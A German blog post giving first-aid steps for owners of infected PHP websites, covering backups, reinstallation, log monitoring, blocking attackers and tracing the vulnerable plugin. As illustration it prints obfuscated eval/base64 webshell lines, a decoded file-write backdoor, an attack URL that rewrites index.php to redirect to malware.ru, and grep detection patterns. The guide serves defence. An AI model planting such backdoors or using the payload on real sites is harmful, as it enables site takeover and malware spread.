Soforthilfe für infizierte Websites

von Tobias Kündig

    Das Wichtigste in Kürze

  • Entferne den Schadcode von Deiner Website
    Die erste Priorität hat die Wiederherstellung eines uninifizerten Backups. Die Reputation Deines ganzen Unternehmen nimmt mit jedem Besucher schaden, der Deine infizierte Website sieht.
  • Jede Sekunde zählt
    Deine Besucher sind der Gefahr von Malware-Infektionen ausgesetzt, welche über Deine Website verteilt werden könnten. Du solltest keine Zeit verlieren!
  • Finde die Sicherheitslücke
    Suche und finde die Sicherheitslücke, die sich der Angreifer zunutze gemacht hat. Sorge dafür, dass sie geschlossen und bekannt gemacht wird.
  • Handle schnell oder Du wirst blockiert
    Safe Browsing API

Soforthilfe für infizierte Websites

Immer wieder werden wir von Website-Betreibern kontaktiert, deren Website plötzlich wie besessen scheint: Falsche Inhalte werden angezeigt, die Antiviren-Software fängt beim Besuch gleich an zu blinken oder das Smartphone wird wärmer als üblich, wenn auf der Website gesurft wird.

Diese «Website-Dämonen» sind oft nichts anders als Schadcodes, die von einem Angreifer platziert werden konnten. Dies ist oft die Folge von mangelnden Sicherheitsstandards, veraltetem oder unprofessionellem Code oder zu vielen externen Abhängigkeiten.

In diesem Blog-Beitrag wird beschrieben, was Du unternehmen kannst, wenn Deine Website zum Opfer eines Angriffs wurde. Wie Du solchen Sicherheitsproblemen vorbeugen kannst, findest Du in unserem separaten Artikel «Einfache Mittel für eine sichere Website».

Wie sich die Probleme bemerkbar machen

Es gibt zahlreiche Möglichkeiten, wie sich eine infizierte Website bemerkbar macht. Am schnellsten bemerkt wird wohl die Anzeige von fremden Inhalten, wie beispielsweise Werbung. In extremen Fällen wird sogar der gesamte Besucherstrom auf eine externe Website umgeleitet.

Ebenfalls häufig anzutreffen, aber deutlich schwieriger zu bemerken, sind SPAM-Attacken auf die Google-Suchresultate einer Website. Ein Angreifer macht sich in diesem Szenario die gute Platzierung einer Website in Suchresultaten zunutze und ersetzt kurzerhand den Text des Suchresultats durch Werbung. Hierbei werden spezifisch für Suchmaschinen-Indexierungs-Bots (sog. Crawler) falsche Website-Inhalte generiert, was dazu führt, dass diese Inhalte später in den Suchresultaten erscheinen.

Immer häufiger anzutreffen sind in den letzten Jahren auch Cryptominer. Diese Programme machen sich bemerkbar, in dem die eigene Website sehr träge zu bedienen ist und viel Prozessorleistung beansprucht. Mit Cryptominern können Angreifer die Rechenleistung der Website-Besucher dazu nutzen, Cryptowährungen zu gewinnen.

Meistens handelt es sich in oben beschriebenen Fällen um sogenannte XSS-Attacken (Cross-Site-Scripting). Ein Angreifer hat es durch eine Sicherheitslücke geschafft, eigenen Code auf Deinem Webserver zu platzieren. Dieser Code wird jetzt bei jedem Aufruf Deiner Website ausgeführt.

Umgehende Aktionen

Ist Deine Website erst einmal infiziert, muss es schnell gehen. Die Reputation Deiner Unternehmung nimmt mit jedem Besucher schaden, der unangemessene Inhalte auf Deiner Website sieht. Zudem setzt Du die Geräte Deiner Website-Besucher der Gefahr von Malware-Infizierungen aus.

Erstelle zu aller erst ein Back-up Deiner infizierten Website. Lade die Datenbank sowie den kompletten Programmcode herunter. Dieses Back-up dient Dir später zur Analyse der Infektion.

Ist dies erledigt, geht es jetzt darum, den Schaden zu reduzieren.

Schadcode entfernen

Die harte Wahrheit ist, dass ein einmal infizierter Server meistens nicht mehr komplett bereinigt werden kann. Darum ist der «Nuke n Pave»-Ansatz in diesem Fall der empfohlene Weg. Sofern der Aufbau Deiner Website es zulässt, solltest Du die komplette Website-Installation von Grund auf neu einrichten.

Falls eine Neuinstallation keine Möglichkeit ist, sollte in einem ersten Schritt das letzte verfügbare Back-up wiederhergestellt werden, um den Schadcode von der Website loszuwerden. Ist das Back-up bereits infiziert, muss nach der letzten «sauberen» Version gesucht werden.

Achtung: Auch wenn das Backup selber nicht infiziert ist, ist die Wahrscheinlichkeit gross, dass die Sicherheitslücke noch vorhanden ist, durch die Deine Website infiziert wurde. Deshalb sollten direkt nach der Wiederherstellung alle Website-Komponenten auf die neuste Version aktualisiert werden - eventuell wurde die Lücke bereits durch ein Update geschlossen. In jedem Fall ist dies aber eine einfache Möglichkeit, zumindest für eine gewisse Zeit, einen nicht-infizierte Webauftritt wiederherzustellen.

Software neu Installieren

Üblicherweise befindet sich Schadcode auf dem Dateisystem Deines Servers ‒ nur selten wird die Datenbank infiziert. Um Schadcode aus allen Dateien Deiner Installation loszuwerden, solltest Du alle Komponenten der Website neu installieren. Dies beinhaltet die «Core-Dateien» Deines CMS, installierte Plugins sowie das verwendete Theme. Ebenfalls solltest Du alle Abhängigkeiten von Drittanbietern (via Composer/npm etc.) neu herunterladen.

Das erneute Einspielen der originalen Programmdateien reicht in vielen Fällen aus, den infizierten Code zu entfernen. Beachte auch hier, dass dies nicht bedeutet, dass Deine Sicherheitslücke geschlossen wurde.

Schadcode suchen

Um herauszufinden, wo sich die Sicherheitslücke befindet, solltest Du zunächst den injizierten Schadcode suchen. Verwende das zuvor erstellte Back-up der infizierten Website und stelle es in eine Testumgebung wieder her.

Versuche herauszufinden, was mit Deiner Website nicht stimmt: Wird eine JavaScript-Datei geladen, die nicht dir gehört? Werden HTTP-Header gesendet, die dort nicht sein sollen (z. B. Umleitungen via Location-Header)? Die Art des Problems sollte Dir bereits einige Hinweise geben, nach was Du später im Code suchen musst.

Da es zahlreiche Arten von Schadcode gibt, können wir hier leider nicht auf alle eingehen. Wir nehmen uns in diesem Blog-Beitrag die am häufigsten auftretende Art vor:

Bei PHP-basierten Websites wird Schadcode oft verschleiert (obfuscated) ins Dateisystem geschrieben. Der Angreifer macht sich die dynamische Natur von PHP zunutze und verschleiert Programmcode, damit er von Menschen nicht mehr interpretierbar ist:

<?php eval(gzuncompress(base64_decode('eD5Tcffxd3L0CY5Wjzc0NLEwMzIwNTWMV4+1dSwqSqzUSEosTjUziU9JTc5PSdVQjzSyLE8NtLVV19TBkFFX0FMHyoKoXBABUqVpDQAvPBpa'))); ?>
<?php eval(gzuncompress(base64_decode('eF7NzkZrgzAcgPGv0oOgwg6aNC2l9FD2ohvBQ0aNyxgl/8QStxiHMyky9t3nYR9i94cfz8U7NXWDW51Jvtlikm9REnXpdyQPx3GUcxLLkmXqbggUa6xn4gBXGeUMAX70yp2CQMyKhgVdsADPux4wCxRZL4p63aD8E3o7vfCr16XJ4puYIhOAn8KC4YUxurgPyj0F2lcDRdWkXXt07IJIJTjKKa6uQNtCrIDn5EI25ALde8tzAw9IVtYGOXGV5PCz0fz29/TtM92M7+dGtQH61m/VZt2rQbRLJ16h7S/c/v6x0gvg='))); ?>
<?php eval(gzuncompress(base64_decode('eF5TcffAd3L0CY5Wjzc0NLEwMzIwNTWMV4+NNojViDc1NDM3NjU0N9Iw0NRB4hlqaloDAI4lDPk='))); ?>
<?php eval(gzuncompress(base64_decode('eF5TcffZ/kkd3L0CY5Wjzc0NLEwMzIwNTWMV4+NNozViDc1NDM3NjU0N9Iw0tRB4hlraloDAI5xDP4='))); ?>

Entschlüsselt man diesen Code mit Tools wie unphp.net und einigen Handgriffen, erhält man beispielsweise ein Script, welches beliebige Dateien entgegennimmt und im Dateisystem ablegt:

<?php
$data = $_GET['data'];
$file = $_GET['file'];

@file_put_contents($file, $data);

Ein Angreifer braucht also lediglich folgende URL aufzurufen, um eine beliebige Datei auf Deinem Server zu überschreiben:

https://beispiel.org/?data=<%3Fphp header('Location: https://malware.ru');die();&file=index.php

Schadcode finden

Um den Schadcode zu finden, solltest Du alle Dateien nach gewissen Schlüsselwörtern durchsuchen. Wird auf Deiner Website beispielsweise eine JS-Datei von malware.ru geladen, wäre dies ein optimaler Begriff für die Suche.

Im verschleierten PHP-Code wird oft die eval Funktion verwendet. eval interpretiert einen belieben String als Code und führt diesen aus. Dies ist ein ideales Instrument für Angreifer, um Code einzuschleusen. Auch bei der pflichtbewussten Anwendung ist es sehr leicht, mit eval eine Sicherheitslücke zu öffnen, deshalb wird von der Verwendung dieser Funktion in nahezu allen Fällen und Programmiersprachen abgeraten.

Ebenfalls häufig anzutreffen sind Aufrufe der Funktionen base64_decode ,base64_encode, gzuncompress oder str_rot13. Diese Liste ist natürlich nicht abschliessend. Bei sehr «gut» geschriebenem Schadcode sind selbst diese Funktionsaufrufe verschleiert.

Nichtsdestotrotz solltest Du auch diese Begriffe in Deine Suche miteinbeziehen. Folgendes Beispiel durchsucht alle PHP-Dateien nach einem eval Aufruf. Dies ist ein guter Startpunkt für die Suche nach dem Schadcode und die Existenz von eval deutet in fast jedem Fall auf ein Problem hin.

grep -r -i --include=\*.php 'eval' ./
grep -r -i --include=\*.php 'gzuncompress' ./
grep -r -i --include=\*.php 'str_rot12' ./
# Hier findeset Du vermutlich viele falsche Positivmeldungen, die 
# Du genauer anschauen musst. base64_decode wird oft verwendet.
grep -r -i --include=\*.php 'base64_decode' ./

Verwende grep mit verschiedenen Funktionsnamen, um potentiellen Schadcode zu finden. Ebenfalls interessant zu sehen sind die zuletzt bearbeiteten PHP-Dateien. Eventuell fallen Dir auch hier Unstimmigkeiten auf:

# Zeige eine Liste aller PHP-Dateien, sortiert nach dem letzten Zugriffsdatum
find . -type f -name "*.php" -printf '%TF %TT %p\n' | sort -n

Zusätzlich zu den üblichen Kommandozeilen-Tools können Dir auch Tools wie der PHP-Malware-Scanner helfen Schadcode zu finden. Hier gilt es zu beachten, dass abhängig von der durchsuchten Codebasis viele falsche Positivmeldungen angezeigt werden, die Du genauer untersuchen musst.

Wirst Du in einer oder mehrerer Dateien fündig, notiere Dir die Dateinamen, erstelle eine Kopie der infizierten Datei und entferne den Schadcode von Deinem Server sowie ‒ wenn möglich ‒ aus Deinen Back-ups.

Kannst Du keinen Schadcode ausfindig machen, gehe trotzdem weiter zum nächsten Schritt.

Angreifer überwachen

Im Idealfall ist Deine Website zu diesem Zeitpunkt wieder frei von Schadcode und für alle Besucher erreichbar. Du wirst aber schnell merken, dass dieser Zustand nur temporär ist.

Hat ein Angreifer einmal eine Website infiziert, werden oft automatisierte Scripts eingerichtet, die dafür sorgen, dass Deine Website über die gefundene Sicherheitslücke alle paar Minuten erneut infiziert wird. Leider nutzen Angreifen oftmals ein Zusammenspiel aus mehreren Sicherheitslücken oder infizierter Dateien. Deshalb geht es im nächsten Schritt darum, den Angreifer auf frischer Tat zu ertappen.

Dies kann zum Beispiel über das aktive Monitoring von Access-Logdateien geschehen. Nutze die Programme tail und grep um alle Website-Zugriffe nach den Namen der oben gefundenen infizierten Dateien oder nach im Schadcode gefundener URL-Parameter zu filtern:

# Suche nach infected.php oder ?file= URL-Parameter
tail -f access.log | grep -i -e 'infected\.php|file='

Abhängig von der Art Deiner Website lohnt es sich auch POST-Requests herauszufiltern. Insbesondere dann, wenn diese üblicherweise nur selten vorkommen (zum Beispiel bei einfacheren Informationswebsites). Oft werden POST-Requests verwendet, um Daten an infizierte Dateien zu senden. Da der Body des Requests nur selten geloggt wird, können Daten so eingeschleust werden, ohne offensichtliche Spuren zu hinterlassen.

tail -f access.log | grep 'POST'

Jetzt heisst es abwarten und Tee trinken. Überwache Deine Logs sowie Deine Website. Sollte erneut unerwünschte Werbung erscheinen, notiere Dir den momentanen Zeitpunkt, damit Du einen Anhaltspunkt bei der weiteren Durchsuchung der Logdateien hast.

Falls Du ein aktives Website-Monitoring verwendest, lohnt es sich für auffällige Strings wie beispielsweise die JavaScript-Datei von malware.ru Suchsensoren einzurichten, die Dich umgehend über eine erneute Infektion informieren. Falls Du kein Monitoring verwendest, ist jetzt der richtige Zeitpunkt um Dich darum zu kümmern!

Hier ein Beispiel eines auffälligen Requests:

2.63.122.22 - - [01/Jul/2019:21:15:25 +0200] "POST /cms/func.php HTTP/1.1" 200 37430 "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.3683.86 Safari/237.36"
  • Es handelt sich um einen POST-Request an die Datei /cms/func.php (in unserem Beispiel wäre dies keine offizielle Datei des verwendeten CMS).
  • Der User-Agent-String beschreibt eine sehr alte Chrome-Version 33, welche unter Windows 7 betrieben wird (Du kannst User-Agent-Strings aus Deinen Logs auf userstack.com entschlüsseln).
  • Die IP-Adresse stammt aus Russland, die Website in diesem Beispiel wendet sich jedoch nur an Schweizer Kunden.

Anhand dieser Punkte steht fest, dass es sich nicht um einen «echten» Besucher der Website handelt.

Zuerst muss nun die /cms/func.php Datei aus dem Dateisystem gesichert und gelöscht werden, um weitere Aufrufe zu verhindern. Schau Dir den Dateiinhalt an und versuche zu verstehen, wie der Schadcode funktioniert.

Anhand der gefundenen IP sowie des speziellen User-Agents lassen sich jetzt auch weitere Aufrufe des Angreifers aus den Logdateien herausfiltern:

grep "2.63.122.22" access.log           # Suche nach der IP
grep "Chrome/33.0.3683.86" access.log   # Suche nach dem auffälligen User-Agent-String

Mit dieser Methode sollte es Dir gelingen, weitere Aufrufe des Angreifers und dadurch weiteren Schadcode auf Deinem Server ausfindig zu machen.

Angreifer aussperren

Eine weitere mögliche Massnahme, zu diesem Zeitpunkt, ist das aktive Aussperren des Angreifers. Blockiere beispielsweise die spezifische IP-Adresse oder sogar die komplette IP-Range des Landes des Angreifers, um weitere Angriffe zu erschweren.

Ebenfalls kannst Du versuchen, POST-Requests auf Seiten, die Du nicht explizit freigibst, zu blockieren oder bestimmte URL-Parameter zu verbieten.

Die Blockierung des User-Agent-Strings ist ebenfalls eine Möglichkeit. Dabei ist jedoch Vorsicht geboten, da Du bei gängigen Strings versehentlich auch echte Besucher aussperren kannst.

Wie Du die oben beschriebene Massnahmen umsetzen kannst, findest Du mit ein paar Web-Suchen heraus. Da das Vorgehen je nach Serveranwendung anders ist, gehen wir in diesem Artikel nicht weiter darauf ein.

Beachte, dass besonders engagierte Angreifer womöglich Requests von diversen IPs mit unterschiedlichen User-Agent-Strings senden. In diesen Fällen ist die vollständige Blockierung oft schwierig. Eine «Web Application Firewall» kann Dir hier die Arbeit erleichtern.

Zurück zum Anfang

Bis jetzt haben wir lediglich Schadcode aber noch keine Sicherheitslücke gefunden. Mit etwas Glück lässt sich die Sicherheitslücke in den Logs mit den neu gefundenen Daten des Angreifers ausfindig machen. Durchsuche das Accesslog nach dem ersten Aufruf der russischen IP:

# Zeige die ersten 10 Aufrufe an
grep "2.63.122.22" access.log | head -10 

Hier eine Liste von möglichen Treffern:

2.63.122.22 - - [01/Jul/2019:21:15:01 +0200] "GET /ein-plugin.php?x=*schadcode* HTTP/1.1" 200 37430 "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.3683.86 Safari/237.36"
2.63.122.22 - - [01/Jul/2019:21:20:00 +0200] "GET /ein-plugin.php?x=*schadcode* HTTP/1.1" 200 37430 "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.3683.86 Safari/237.36"
2.63.122.22 - - [01/Jul/2019:21:25:01 +0200] "GET /ein-plugin.php?x=*schadcode* HTTP/1.1" 200 37430 "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.3683.86 Safari/237.36"
2.63.122.22 - - [01/Jul/2019:21:30:01 +0200] "GET /ein-plugin.php?x=*schadcode* HTTP/1.1" 200 37430 "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.3683.86 Safari/237.36"

Es scheint, als wäre ein Plugin eines Drittanbieters die Ursache für die Probleme. Wie Du den Zeitstempeln entnehmen kannst, wird die Lücke im exakten Fünf-Minuten-Takt immer wieder ausgenutzt. Dies deutet auf einen automatisierten Angriff hin.

Nutze die CVE-Datenbank um nach bekannten Sicherheitslücken des Plugins zu suchen. Wirst Du nicht fündig, informiere umgehend die Entwickler des Plugins ‒ bevorzugt auf einem privaten Kanal. Achte darauf, dass die Lücke zeitnah geschlossen und publik gemacht wird.

Auf jeden Fall solltest Du das betroffene Plugin komplett vom Server entfernen, solange die Sicherheitslücke nicht geschlossen wurde.

Es bleibt ein unsicheres Gefühl

Zu Beginn des Blogbeitrags wurde erwähnt, dass die einzige nachhaltige Methode zur Bereinigung des infizierten Systems eine komplette Neuinstallation ist. Dies sollte Dir spätestens zu diesem Zeitpunkt klar werden.

Auf der Suche nach infizierten Dateien bist Du vermutlich mehrmals fündig geworden. Eine Sicherheitslücke hast Du eventuell gefunden, doch Du kannst Dir nie sicher sein, ob es die Einzige war. Ebenfalls gibt es da noch die Datenbank, die womöglich ebenfalls infiziert ist und mit dem Rest des Servers, ausserhalb des Applikations-Codes, hast Du Dich ebenfalls noch nicht befasst.

Leider bleibt nach solchen Angriffen oft ein sehr unsicheres Gefühl und Deine Website wirkt wie ein instabiles Kartenhaus.

Lass Dich davon aber nicht entmutigen. Nutze die gewonnene Zeit und plane das weitere Vorgehen zur Wiederherstellung Deiner Website. Du solltest auch auf keinen Fall aufhören, die Log-Dateien zu überwachen. Oft versuchen Angreifer erneut, die von Dir entfernten Dateien aufzurufen. Verfolge diese Aufrufe weiter, um weitere infizierte Dateien zu finden.

Wie Du Deine Website zukünftig vor solchen Bedrohungen besser schützen kannst, zeigen wir Dir in unserem separaten Artikel «Einfache Mittel für eine sichere Website»

Ein Beitrag aus dieser Serie
Security

Artikel zum Thema Sicherheit im Web.

Weitere Beiträge anzeigen »
Mehr aus dieser Kategorie
Entwicklung
Hier findest du Blogartikel technischer Natur.
Weitere Beiträge anzeigen »

Los geht's!

Kontaktiere uns noch heute

Für Offerten, technische Anfragen oder einfach nur um Hallo zu sagen.